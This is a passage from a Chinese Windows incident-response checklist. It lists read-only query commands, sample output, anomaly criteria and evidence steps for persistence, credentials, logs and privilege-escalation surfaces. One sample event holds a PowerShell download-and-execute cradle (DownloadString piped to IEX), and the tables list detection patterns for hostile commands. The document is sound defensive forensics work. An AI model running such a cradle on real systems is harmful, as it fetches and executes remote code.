Get-WinEvent -LogName "Microsoft-Windows-TaskScheduler/Operational" -MaxEvents 40 | Format-List TimeCreated,Id,Message
Get-WinEvent -LogName "Microsoft-Windows-Windows Defender/Operational" -MaxEvents 40 | Format-List TimeCreated,Id,Message
Get-WinEvent -LogName "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" -MaxEvents 40 | Format-List TimeCreated,Id,Message
```

③ **正常样例**

```
TimeCreated : 2026/10/19 2:11:03
Id          : 4104
Message     : 正在创建脚本块:
              $c=New-Object Net.WebClient;$c.DownloadString('http://45.x.x.x/a')|IEX
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
4104 脚本块中出现 `DownloadString`、`IEX`、`FromBase64String`、`-enc` 解密后的明文	严重	**脚本** win_logs_advanced() L5672
WMI-Activity 5857/5861 出现陌生 Provider 或永久订阅注册	严重	**脚本** win_logs_advanced() L6199
TaskScheduler 106 注册了陌生任务，紧接着 200/201 执行	高危	**经验**
Defender 1116/1117（检测到威胁/已采取动作）后紧跟 5007（配置被修改）	高危	**脚本** win_logs_advanced() L6330
RDP 通道 21/25 会话登录来自异常时段或陌生 IP	中危	**经验**
对应日志通道处于 Disabled 状态（无法取证，不等于无异常）	提示	**经验**

▸ **如何排除误报**

- 4104 在正常运维脚本、SCCM 任务中也会出现，需看是否含下载/解码/隐藏窗口特征。
- Sysmon 未安装时相关通道为空，属「未采到」而非「无异常」。
- Defender 事件多为误报拦截，重点看是否被反复触发。

⑤ **证据留存**

把 4104 的完整脚本块、事件时间、脚本块 ID 抄入表 1-1；`Get-WinEvent` 结果导出为 `09_ps.txt`。若脚本块含 URL/IP，同时填入第 6 章 IOC 表。

1.10 安全日志增强（登录类型 / 特权与显式凭据 / Kerberos / 共享访问 / DCSync / 日志清空） P1

对应脚本：win_security_advanced() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① **检查目的**

从安全日志中做聚合统计：登录类型分布、特权分配、显式凭据使用、域内高危操作，识别横向移动与提权。

② **执行命令**

```ps
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4624} -MaxEvents 300 | Group-Object
{$_.Properties[8].Value} | Select Name,Count
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4672,4648} -MaxEvents 80 | Format-List
TimeCreated,Id,Message
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4768,4769,4771} -MaxEvents 80 | Format-List
TimeCreated,Id,Message
Get-WinEvent -FilterHashtable @{LogName='Security';Id=5140,5145} -MaxEvents 60 | Format-List
TimeCreated,Id,Message
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4662} -MaxEvents 40 | Format-List TimeCreated,Message
```

③ **正常样例**

```
Name  Count
----  -----
3       218
2        41
10        6

TimeCreated : 2026/10/19 2:31:12
Id          : 4648
Message     : 使用显式凭据尝试登录。目标服务器: ADMIN-PC  目标用户名: administrator
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
4662 出现对域控目录服务的复制权限访问（DCSync，需结合 GUID 1131f6ad/1131f6aa 判断）	严重	**经验**
4648 显式凭据登录在短时间内对多台主机重复出现（凭据喷洒/横向）	严重	**脚本** win_security_advanced() L8646
4672 特权分配对应账号为该时段新登录的陌生账号	高危	**脚本** win_security_advanced() L8683
4771 Kerberos 预认证失败密集（口令猜测），且来源 IP 集中	高危	**脚本** win_security_advanced() L8728
5140/5145 共享访问集中在 IPC$/ADMIN$ 且来自非运维网段	中危	**经验**
登录类型 3 的数量远高于业务基线	中危	**脚本** win_security_advanced() L8636

▸ **如何排除误报**

- 服务账号会周期性产生 4624 类型 3/5，需先建立基线再判断。
- 备份软件会触发 5145 大量读取，属正常。
- DCSync 需域管权限，若本机为域控且近期做过同步，需与管理员确认。

⑤ **证据留存**

记录「统计结果 + 时间范围 + 账号 + 来源 IP」，把异常项的原始事件 Message 截取抄录到表 1-1；聚合结果与原始日志分别存档（`10_summary.txt`、`10_raw.txt`）。

1.11 WMI 事件订阅持久化

P1

对应脚本：win_wmi_subscription() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① **检查目的**

WMI 永久事件订阅可实现无文件、无服务、无注册表 Run 键的驻留，常规启动项检查完全看不到，必须单独查四张表。

② 执行命令

```
ps
Get-CimInstance -Namespace root/subscription -ClassName __EventFilter | Format-List Name,Query,EventNamespace
Get-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer | Format-List
Name,CommandLineTemplate
Get-CimInstance -Namespace root/subscription -ClassName ActiveScriptEventConsumer | Format-List Name,ScriptText
Get-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding | Format-List Filter,Consumer

cmd
reg query "HKLM\SOFTWARE\Microsoft\WBEM\CIMOM" /v AutostartWin32
```

③ 正常样例

```
Name           : SCMLogicalVolumeEventFilter
Query          : SELECT * FROM Win32_LogicalVolumeChangeEvent
EventNamespace : root\cimv2

Name                : CommandLineEventConsumer.Name="BVTConsumer"
CommandLineTemplate : C:\Program Files\BVT\bvt.exe
```

（输出已截断，仅示意形态）

④ 异常特征

看到什么（命中即按右侧级别记录）	级别	来源
CommandLineEventConsumer 的模板指向 Temp/Public/ProgramData，或调用 powershell -enc / mshta / rundll32	严重	**脚本** win_wmi_subscription() L3176
ActiveScriptEventConsumer 的 ScriptText 含 `CreateObject("WScript.Shell")`、`Shell.Application`、`eval`	严重	**脚本** win_wmi_subscription() L3179
EventFilter 的 Query 为 `SELECT * FROM __InstanceModificationEvent WITHIN 60` 之类的高频轮询	高危	**脚本** win_wmi_subscription() L3182
存在 Filter 与 Consumer 但 Binding 指向的 Consumer 已被删除（残留订阅，同样会触发）	高危	**脚本** win_wmi_subscription() L3186
订阅名为随机字符串、创建时间在案发窗口内	中危	**经验**
`Get-CimInstance` 返回「没有实例」属正常（多数主机没有永久订阅）	提示	**脚本** win_wmi_subscription() L3191

▸ **如何排除误报**

- `SCM`、`BVT` 类订阅在部分虚拟化/管理软件中存在，属已知良性，需核对软件清单。
- SCCM 客户端会注册大量 WMI 类，但通常不创建永久订阅。
- 查询需要管理员权限，普通权限下报「拒绝访问」不代表没有订阅。

⑤ 证据留存

把四张表的完整 `/format:list` 原文抄录，记入表 1-1「证据位置」列，注明命令与执行时间。若 Consumer 指向脚本或程序，须记录其完整路径与 `certutil -hashfile` 的 SHA256；该文件本身按第 0.3 节提取封存。

1.12 LSA / 打印 / 网络劫持点

P1

对应脚本：win_hijack_points() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

批注

第一章

① 检查目的

这些位置一旦被改，可实现开机即加载恶意 DLL、凭据窃取或流量劫持，且不依赖启动项。

② 执行命令

```cmd
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v Security Packages
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v Authentication Packages
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors" /s
reg query "HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" /v ProviderOrder
reg query "HKLM\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries" /s |
findstr /i "PackedCatalogItem"
```

③ 正常样例

```
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
    Security Packages    REG_MULTI_SZ    kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u
    Authentication Packages    REG_MULTI_SZ    msv1_0\0
```

（输出已截断，仅示意形态）

④ 异常特征

看到什么（命中即按右侧级别记录）	级别	来源
Security Packages 中出现非系统 DLL 路径（如 `C:\Windows\temp\x.dll`）	严重	**脚本** win_hijack_points() L3220
Print Monitors 下存在陌生 monitor 且 Driver 指向用户可写目录	严重	**脚本** win_hijack_points() L3289
ProviderOrder 中出现非 `RDPNP,LanmanWorkstation,webclient` 的陌生项	高危	**脚本** win_hijack_points() L3289
Winsock Catalog 的 PackedCatalogItem 指向非 `System32` 下的 dll（LSP 劫持）	高危	**脚本** win_hijack_points() L3289
`wdigest\UseLogonCredential = 1`（明文凭据缓存被开启）	中危	**经验**

▸ **如何排除误报**

- 杀软、VPN、抓包工具会注册 LSP 与 Network Provider，属正常，需核对软件清单。
- `tspkg`、`pku2u`、`cloudAP` 为系统组件。
- 打印监控在装有虚拟打印机的机器上必然非空。

⑤ 证据留存

逐项抄录键值原文（含类型），填入表 1-1；对指向的 DLL 记录完整路径与 SHA256、签名状态。修改前后差异极重要，若能在同版本健康机上取一份对照值，一并附上。

1.13 BITS 后台传输任务

P2

对应脚本：win_bits() · 优先级 P2 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

批注

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① 检查目的

BITS 可借系统服务下载文件，流量走 svchost，不易被防火墙拦，常被用于投放载荷。

② 执行命令

cmd

```
bitsadmin /list /allusers /verbose
```

ps

```
Get-BitsTransfer -AllUsers | Format-List JobId,DisplayName,OwnerAccount,JobState,FileList
```

cmd

```
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\Peers" /s
```

③ 正常样例

```
DISPLAY: {A1B2C3D4-...}
  TYPE: DOWNLOAD  STATE: TRANSIENT_ERROR
  OWNER: NT AUTHORITY\SYSTEM
  FILE: https://download.microsoft.com/... -> C:\ProgramData\...
  BYTES: 1048576 / 1048576
```

（输出已截断，仅示意形态）

④ 异常特征

看到什么（命中即按右侧级别记录）	级别	来源
任务源为陌生公网 IP/域名，落地路径为 Temp/Public/ProgramData 下的 exe/dll	严重	**脚本** win_bits() L4809
任务所有者为普通用户，但下载可执行文件	高危	**脚本** win_bits() L4809
存在大量失败任务（可能为 C2 探测）	中危	**经验**
任务源为微软/厂商域名，属正常更新	提示	**脚本** win_bits() L4815

▸ **如何排除误报**

- Windows Update、Office 更新、部分企业软件使用 BITS，源为厂商域名时属正常。
- `bitsadmin` 在 PowerShell 7 下可能不可用，改用 `Get-BitsTransfer`。

⑤ 证据留存

记录「JobId + 源 URL + 落地路径 + 所有者 + 状态」，填入表 1-1；URL 中的域名/IP 同步填入第 6 章 IOC 表。

1.14 杀软与防护状态

P1

对应脚本：win_av_status() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

批注

第一章

① 检查目的

攻击者落地后第一件事常是关闭或卸载防护。防护被停用、排除项被加白，往往比病毒本身更能说明已被入侵。

② 执行命令

```
cmd
wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName,productState,pathToSignedProductExe

ps
Get-MpComputerStatus | Format-List
AMServiceEnabled,RealTimeProtectionEnabled,AntivirusSignatureLastUpdated,IoavProtectionEnabled
Get-MpPreference | Format-List ExclusionPath,ExclusionProcess,DisableRealtimeMonitoring

cmd
sc query WinDefend & sc query MpsFw & sc query Sense
```

③ 正常样例

```
displayName                productState
Windows Defender           397568

AMServiceEnabled              : True
RealTimeProtectionEnabled     : True
AntivirusSignatureLastUpdated : 2026/10/18 22:41:03
ExclusionPath                 : {}
ExclusionProcess              : {}
```

（输出已截断，仅示意形态）

④ 异常特征

看到什么（命中即按右侧级别记录）	级别	来源
`RealTimeProtectionEnabled = False` 或 WinDefend 服务 StartMode 为 Disabled	严重	**脚本** win_av_status() L4851
ExclusionPath 包含 `C:\`、`C:\Users`、`C:\Windows\Temp`、`C:\ProgramData` 等大范围路径	严重	**脚本** win_av_status() L4866
签名库最后更新时间超过 30 天（更新被掐断）	高危	**经验**
已安装第三方 AV 但服务停止，且无卸载记录	高危	**脚本** win_av_status() L4847
`ExclusionProcess` 中出现陌生进程名	中危	**脚本** win_av_status() L4866
`Get-MpPreference` 需管理员权限，普通权限下报错不代表性	提示	**经验**

▸ **如何排除误报**

- 服务器常按规范关闭 Defender 而改用企业级 EDR，需核对资产台账。
- 运维为提升备份/数据库性能会加排除目录，属正常但应有变更单。
- `productState` 为十进制编码，需换算，直接看 `Get-MpComputerStatus` 更可靠。

⑤ **证据留存**

抄录防护状态四项布尔值与排除项全列表，填入表 1-1；若存在排除路径，记录添加时间（`reg query HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions` 配合文件时间）与添加者。

批注

1.15 凭据与自动登录配置

P1

对应脚本：win_credentials_config() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① **检查目的**

自动登录明文口令、保存的域凭据、最近运行的命令，是横向移动的「弹药库」，也常暴露已泄露的口令。

② **执行命令**

cmd

```
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
cmdkey /list
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
dir /a "%APPDATA%\Microsoft\Credentials" & dir /a "%LOCALAPPDATA%\Microsoft\Credentials"
```

③ **正常样例**

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    AutoAdminLogon    REG_SZ    0

当前登录的用户:
    目标: Domain:target=fileserver01
    类型: 域密码
HKEY_CURRENT_USER\...\Explorer\RunMRU: （键不存在或为空，属正常）
%APPDATA%\Microsoft\Credentials: 目录不存在，属正常
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
`DefaultPassword` 存在且为明文（同时 `AutoAdminLogon = 1`）	严重	**脚本** win_credentials_config() L4894
`cmdkey /list` 中存在陌生主机/域的目标凭据	高危	**脚本** win_credentials_config() L4900
RunMRU 中出现带 `net use ... /user:` 或明文口令的命令	高危	**经验**
凭证目录中存在近期新增的 `.vcrd` 文件	中危	**经验**
AutoAdminLogon=1 但无 DefaultPassword（使用 LSA 存储，不可直接读出）	提示	**经验**

▸ **如何排除误报**

- kiosk/大屏/产线机常配置自动登录，属业务需要。
- 运维保存的运维跳板凭据属正常，需核对目标主机是否为登记资产。
- `cmdkey /list` 只显示当前用户，需切换上下文分别查。

⑤ 证据留存

抄录 AutoAdminLogon 与 DefaultPassword 的值（口令打码后记录「存在明文口令」事实），cmdkey 目标列表逐条记入表 1-1；发现明文口令须立即按第 7.5 节处置（取证后改密）。

批注

1.16 代理 / DNS / UAC / RDP / WinRM 配置

P1

对应脚本：win_network_config() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① 检查目的

这些系统级配置一旦被改，可实现流量劫持、持久远程控制、权限提升，且不会出现在启动项里。

② 执行命令

cmd

```
netsh winhttp show proxy
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer
ipconfig /all | findstr /i "DNS Servers DNS 服务器"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
winrm get winrm/config/service
netsh advfirewall firewall show rule name=all | findstr /i "3389 445 5985 5986"
```

③ 正常样例

```
当前的 WinHTTP 代理服务器设置:
    直接访问(没有代理服务器)。

    EnableLUA    REG_DWORD    0x1
    PortNumber   REG_DWORD    0xcea   (3389)

    AllowUnencrypted = false
```

（输出已截断，仅示意形态）

④ 异常特征

看到什么（命中即按右侧级别记录）	级别	来源
系统代理指向陌生内网 IP:端口（流量劫持/凭据截获）	严重	**脚本** win_network_config() L4922
`EnableLUA = 0`（UAC 被完全关闭）	严重	**脚本** win_network_config() L4945
DNS 服务器被改为陌生内网地址，且非 DHCP 下发	高危	**脚本** win_network_config() L4937
RDP 端口被改为非常规端口且无变更记录（隐蔽远程入口）	高危	**经验**
WinRM `AllowUnencrypted = true` 或 `Basic = true`	高危	**脚本** win_network_config() L4971
防火墙入站规则新增 any→any 放行	中危	**经验**

▸ **如何排除误报**

- 企业统一代理属正常，需核对代理地址是否为登记出口。
- 内网 DNS 指向域控/AD DNS 属正常。
- RDP 改端口是常见加固手段，需核对变更单。

⑤ **证据留存**

抄录代理设置、DNS 列表、EnableLUA、RDP 端口、WinRM 三项开关，填入表 1-1；对异常项记录修改时间（`reg query` 配合注册表键最后写入时间工具不可用时，用「最近一次策略下发日志」佐证）。

1.17 共享与会话（横向移动） P1

对应脚本：win_shares() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① **检查目的**

攻击者常创建隐藏共享作为投放点，并通过 IPC$/ADMIN$ 会话横向移动。共享名以 `$` 结尾时资源管理器看不到。

② **执行命令**

```cmd
net share
net session
net use
wmic share get Name,Path,Description /format:table
reg query "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Shares" /s
```

③ **正常样例**

```
共享名        资源            备注
-------------------------------------------------------------------------------
C$            C:\             默认共享
IPC$                           远程 IPC
share         D:\share        部门共享
命令成功完成。
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
出现指向 `C:\`、`C:\Users`、`C:\Windows` 的非常规共享（非 `C$/ADMIN$`）	严重	**脚本** win_shares() L5502
共享名以 `$` 结尾且非系统默认（隐藏共享，如 `tools$`、`temp$`）	严重	**脚本** win_shares() L5502
`net session` 中存在来自陌生网段的 IPC$ 会话	高危	**脚本** win_shares() L5510
`net use` 显示本机主动连接陌生主机的 ADMIN$/C$	高危	**脚本** win_shares() L5519
共享权限为 Everyone 完全控制	中危	**经验**

▸ **如何排除误报**

- `C$`、`ADMIN$`、`IPC$`、`print$` 为系统默认，属正常。
- 部门文件共享属业务需要，重点看权限是否为 Everyone。
- `net session` 需管理员权限，普通权限下为空。

⑤ **证据留存**

记录「共享名 + 物理路径 + 权限 + 当前会话来源 IP」，填入表 1-1；会话来源 IP 同时进入第 7 章时间线。

1.18 进程树与异常进程

P1

对应脚本：win_process_anomaly() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① **检查目的**

看父子关系比看单个进程更有效：Office 拉起 cmd、Web 服务拉起 powershell、lsass 有子进程，都是强异常信号。

② **执行命令**

`ps`

```
Get-CimInstance Win32_Process | Select-Object ProcessId,ParentProcessId,Name,ExecutablePath | Sort-Object
ParentProcessId | Format-Table -AutoSize
```

`cmd`

```
wmic process where "name='cmd.exe' or name='powershell.exe' or name='wscript.exe' or name='mshta.exe'" get
ProcessId,ParentProcessId,CommandLine
tasklist /svc | findstr /i "svchost"
```

③ **正常样例**

```
ProcessId ParentProcessId Name          ExecutablePath
--------- --------------- ----          --------------
   1024             612 svchost.exe   C:\Windows\System32\svchost.exe
   2044            1024 cmd.exe       C:\Windows\System32\cmd.exe
   3180            2044 powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
```

（输出已截断，仅示意形态）

批注

第一章

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
`winword.exe` / `excel.exe` → `cmd.exe` / `powershell.exe` / `mshta.exe`（宏利用）	严重	**脚本** win_process_anomaly() L9086
`w3wp.exe` / `httpd.exe` / `java.exe` → `cmd.exe` / `powershell.exe`（WebShell）	严重	**脚本** win_process_anomaly() L9086
`lsass.exe` 存在子进程（凭据窃取）	严重	**脚本** win_process_anomaly() L9086
`svchost.exe` 的父进程不是 `services.exe`	高危	**脚本** win_process_anomaly() L9086
父进程 PID 不存在或已退出，且子进程路径在 Temp/Public 目录（孤儿进程）	高危	**经验**
同一路径下 `svchost.exe` 同时存在多个且路径各异	中危	**经验**

▸ **如何排除误报**

- `cmd.exe` 由运维脚本、计划任务、SCCM 拉起属正常，需看命令行内容。
- IIS 应用池回收会产生短生命周期的 `w3wp.exe` 子进程。
- 部分软件（如 VMware、显卡驱动）会以 svchost 之外的方式托管服务。

⑤ **证据留存**

抄录「PID + 父 PID + 进程名 + 完整路径 + 命令行」，重点项截图，填入表 1-1；命令行中含 URL/IP 的同步记入第 6 章。

1.19 可疑程序取证画像

P1

对应脚本：win_malware_dossier() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① **检查目的**

对已锁定的可疑文件做静态画像：哈希、签名、版本信息、编译时间、字符串、导入表，形成可比对的样本卡片。

② **执行命令**

```
cmd
certutil -hashfile "C:\path\suspect.exe" SHA256

ps
Get-AuthenticodeSignature "C:\path\suspect.exe" | Format-List Status,StatusMessage,SignerCertificate

cmd
wmic datafile where "name='C:\\path\\suspect.exe'" get FileSize,CreationDate,LastModified,Version,Manufacturer
findstr /i /c:"http://" /c:"https://" /c:".onion" /c:"stratum" /c:"wallet" "C:\path\suspect.exe"

ps
Get-Item "C:\path\suspect.exe" | Format-List Length,CreationTime,LastWriteTime,LastAccessTime,Attributes
```

③ **正常样例**

```
SHA256 哈希(文件 C:\path\suspect.exe):
  a3f5 9c21 8b7e 44d0 1c6a ...

   Status : NotSigned
FileSize         : 28672
CreationDate     : 20261019021405.000000+480
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
`NotSigned` 且位于用户可写目录，且文件名伪装为系统组件	严重	**脚本** `win_malware_dossier()` `L10641`
字符串中包含矿池地址、钱包地址、C2 IP/域名、`.onion`	严重	**脚本** `win_malware_dossier()` `L10641`
版本信息（Company/Product）为空或与文件名矛盾	高危	**经验**
文件大小 < 50KB 的可执行文件却被称为「系统更新」	高危	**经验**
创建时间晚于修改时间（时间戳被篡改）	中危	**经验**
`LastAccessTime` 为近期（说明刚被执行过）	提示	**经验**

▸ **如何排除误报**

- 自研工具、绿色软件天然无签名，需与运维确认来源。
- `findstr` 对二进制只能匹配可打印串，抓不到压缩/加密载荷，阴性不代表安全。
- 系统文件的 CreationDate 早于装机时间是镜像制作导致，属正常。

⑤ **证据留存**

为每个样本建立一行卡片：路径 / SHA256 / 签名状态 / 大小 / 创建时间 / 关键字符串 / 关联进程，填入表 1-1 与第 6 章 IOC 表；样本文件按第 0.3 节复制并封存。

1.20 驱动、根证书与防火墙规则

P1

对应脚本：win_drivers_certs_firewall() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① **检查目的**

内核驱动可绕过用户态防护；根证书被植入可做中间人解密；防火墙被放开则前两者可长期驻留。

② 执行命令

```
cmd
driverquery /v /fo csv
certutil -store root

ps
Get-ChildItem Cert:\LocalMachine\Root | Format-Table Subject,NotBefore,Thumbprint -AutoSize

cmd
netsh advfirewall show allprofiles
netsh advfirewall firewall show rule name=all dir=in | findstr /i "启用 是 action allow"
```

③ 正常样例

```
模块名称      显示名称         驱动程序类型  启动模式  状态
ACPI         Microsoft ACPI  内核         引导      运行
vmci         VMware VMCI     内核         自动      运行

Subject: CN=Corp Internal CA, O=Corp
Thumbprint: 9F2A...

域配置文件 防火墙状态:  启用
```

（输出已截断，仅示意形态）

④ 异常特征

看到什么（命中即按右侧级别记录）	级别	来源
根证书中出现陌生自签 CA，且安装时间在案发窗口内（中间人）	严重	**脚本** win_drivers_certs_firewall() L9128
内核驱动路径不在 `System32\drivers` 且无签名	严重	**脚本** win_drivers_certs_firewall() L9118
防火墙任一配置档为「关闭」	高危	**脚本** win_drivers_certs_firewall() L9135
入站规则放行「任何程序、任何端口、任何来源」	高危	**脚本** win_drivers_certs_firewall() L9144
存在名为空白或随机串的防火墙规则	中危	**经验**
第三方软件（VPN/虚拟化）安装的驱动，需核对软件清单	提示	**经验**

▸ **如何排除误报**

- 企业内网普遍部署自建 CA，需核对是否为登记的 CA 名称。
- 虚拟化与安全软件必然安装内核驱动，路径在 Program Files 且有签名即可。
- 域策略可能统一下发防火墙规则，需与管理员确认。

⑤ 证据留存

抄录异常驱动「名称 + 路径 + 签名状态」、异常根证书「Subject + Thumbprint + NotBefore」、防火墙三档状态与可疑规则名，填入表 1-1。

1.21 Windows 提权面（未引用服务路径 / AlwaysInstallElevated / 失败恢复 / 隐藏任务） P2

对应脚本：win_priv_esc() · 优先级 P2 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① 检查目的

低权限攻击者借配置缺陷提升到 SYSTEM。入侵后排查同样要查：这些面常被用于维持高权限。

② 执行命令

cmd

```
wmic service get Name,DisplayName,PathName,StartMode | findstr /i /v "C:\\Windows\\"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer" /v AlwaysInstallElevated
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer" /v AlwaysInstallElevated
icacls "C:\Program Files" & icacls "C:\Program Files (x86)"
schtasks /query /fo LIST /v | findstr /i "运行身份 最高"
```

③ 正常样例

```
PathName                                                StartMode
C:\Program Files\Corp Agent\agent.exe -service          Auto

    AlwaysInstallElevated    REG_DWORD    0x0

C:\Program Files BUILTIN\Users:(OI)(CI)(RX)
```

（输出已截断，仅示意形态）

④ 异常特征

看到什么（命中即按右侧级别记录）	级别	来源
服务路径含空格且未加引号，且路径前半段存在可写目录（如 `C:\Program Files\Corp App\x.exe`）	严重	**脚本** `_priv_service_rows()` L2476
`AlwaysInstallElevated = 1`（HKLM 与 HKCU 同时为 1，任意 MSI 以 SYSTEM 安装）	严重	**脚本** `_priv_always_install_elevated()` L2560
`C:\Program Files` 或子目录对 `BUILTIN\Users` 有写权限（W）	高危	**经验**
以 SYSTEM 运行的计划任务，其脚本位于用户可写目录	高危	**脚本** `_priv_hidden_tasks()` L2993
服务失败恢复动作被配置为执行陌生程序	中危	**经验**

说明： 1.21 对应 `win_priv_esc()` 不含 IFEO 判据，本节原 IFEO 行已删除，改见 1.3（`win_autoruns()`）与 1.22（`_hj_adv_accessibility()`）；同一对象只报一次。

▸ **如何排除误报**

- 老旧软件大量存在未引用的服务路径，属常见配置缺陷，不等于已被利用。
- 部分行业软件要求 Users 对安装目录有写权限（如自动更新），需核对。
- AlwaysInstallElevated 若被组策略统一开启，属企业策略而非入侵痕迹。

⑤ **证据留存**

抄录服务名、未加引号的完整路径、AlwaysInstallElevated 两个键值、目录 ACL 中的写权限项，填入表 1-1。

批

注

1.22 高级劫持持久化面（辅助功能 / COM / Shell 扩展 / 打印处理器 / 时间•凭据•网络提供者 / Winlogon / BootExecute•RunOnceEx / GPO 脚本） P2

对应脚本：win_hijack_advanced() · 优先级 P2 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① **检查目的**

这些位置隐蔽性高于 Run 键，其中 IFEO 与 Winlogon 被改后可实现「登录即执行」或「任意程序启动即执行」。

② **执行命令**

```cmd
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" /s
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /v Userinit /v Taskman
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility" /s
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v BootExecute
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx" /s
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts" /s
reg query "HKLM\SOFTWARE\Classes\CLSID" /s /f "InprocServer32" | findstr /i /v "System32"
```

③ **正常样例**

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    Shell       REG_SZ    explorer.exe
    Userinit    REG_SZ    C:\Windows\system32\userinit.exe,

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager
    BootExecute    REG_MULTI_SZ    autocheck autochk *
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
IFEO 下某系统程序被添加 `Debugger` 值，指向陌生 exe（劫持执行）	严重	**脚本** `_hj_adv_accessibility()` L3572
Winlogon 的 `Shell`/`Userinit` 追加了第二个程序（逗号后多出路径）	严重	**脚本** `win_autoruns()` L1471
`BootExecute` 中出现非 `autocheck autochk *` 的条目（开机原生执行）	严重	**经验**
辅助功能（sethc.exe/osk.exe/utilman.exe）被替换或 IFEO 劫持（粘滞键后门）	高危	**脚本** `_hj_adv_accessibility()` L3623
RunOnceEx 指向 Temp/Public 目录	高危	**经验**
GPO 脚本（Machine\Scripts\Startup）中出现陌生 .bat/.ps1	中危	**脚本** `win_hijack_advanced()` L4238

说明：本节 IFEO 行与 1.3 自动去重——脚本 `_hj_adv_already()` 按子键路径判重，同一对象不重复报，此处只在 1.3 未报出时定级。

▸ **如何排除误报**

- 输入法、屏幕阅读器、远程协助软件会注册 Accessibility 与 Shell 扩展，需核对。
- 部分备份/还原软件会写 BootExecute，属已知行为。
- 域环境 GPO 脚本属正常下发，需向管理员索取策略清单对照。

批注

第1章

⑤ **证据留存**

逐项抄录键值原文，填入表 1-1；对被劫持的目标记录「劫持键 + Debugger 值 + 该文件 SHA256」。sethc 类后门需同时记录 `C:\Windows\System32\sethc.exe` 的修改时间与哈希。

1.23 网络与配置面（DNS 缓存情报 / ARP / 路由 / 防火墙配置档 / 端口转发） P2

